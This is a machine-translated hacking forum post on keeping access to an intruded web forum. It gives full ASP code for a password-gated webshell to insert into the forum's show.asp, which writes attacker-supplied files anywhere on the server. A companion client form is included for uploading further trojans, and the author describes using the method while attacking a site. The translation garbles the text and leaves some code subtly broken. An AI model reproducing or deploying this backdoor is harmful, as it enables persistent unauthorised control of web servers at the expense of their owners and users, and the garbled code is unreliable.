New webshell ideas

Today, I want to share with you the new idea of creating a backdoor in the Internet BBS.
How do you create a backdoor after you intrude into a mobile BBs? This is what I thought of when I attacked a yellow website, but I don't know if someone is better than me, I will talk about it here!
Now, let's get started. In his forum, find show. asp and edit it!
Insert at the bottom
<% Dim noon %>
<% Noon = request ("Noon") %>
<% If noon = "xxql.com" then %>
<% Dim objfso %>
<% Dim fdata %>
<% Dim objcountfile %>
<% On error resume next %>
<% Set objfso = server. Createobject ("scripting. FileSystemObject") %>
<% If trim (Request ("syfdpath") <> "" Then %>
<% Fdata = request ("cyfddata") %>
<% Set objcountfile = objfso. createtextfile (Request ("syfdpath"), true) %>
<% Objcountfile. Write fdata %>
<% If err = 0 then %>
<% Response. Write "<font color = Red> Save success! </Font> "%>
<% Else %>
<% Response. Write "<font color = Red> Save unsuccess! </Font> "%>
<% End if %>
<% Err. Clear %>
<% End if %>
<% Objcountfile. Close %>
<% Set objcountfile = nothing %>
<% Set objfso = nothing %>
<% = Server. mappath (request. servervariables ("script_name") %>
<% End if %>
I just Code Split for use. Hey, don't suggest it.
Then let's take a look: http://www.XXX.com/bbs/show.asp? Noon = xxql.com
To the bottom, do you see the absolute path?
The webshell in the forum has been completed. What does it mean? It is very simple. This is a server-side code. Then, you can create a client in another space or in a local place that supports ASP to view the Code:
<% Response. Write "<form action = 'HTTP: // www.xxx.com/bbs/show.asp' method = post>" %>
<% Response. Write "<input type = text name = syfdpath width = 32 size = 50 value = E: \ www \ www.xxx.com \ BBS \ ASP. asp>" %>
<% Response. Write "" %>
<% Response. Write "" %>
<% Response. Write "content of the input horse:" %>
<% Response. Write "<textarea name = cyfddata Cols = 80 rows = 10 width = 32> </textarea>" %>
<% Response. Write "<input type = submit value = save>" %>
<% Response. Write "</form>" %>
Here I will explain that the last piece of code on the server shows the absolute path.
Then fill in the file path of your server in the client action = "".
The following value = "" is changed to the absolute path on the server where the trojan is stored.
In this way, you can upload other Trojans to the server wherever you place the client.
This is simple! If you are in trouble, you can also use the backdoor tools in the ocean.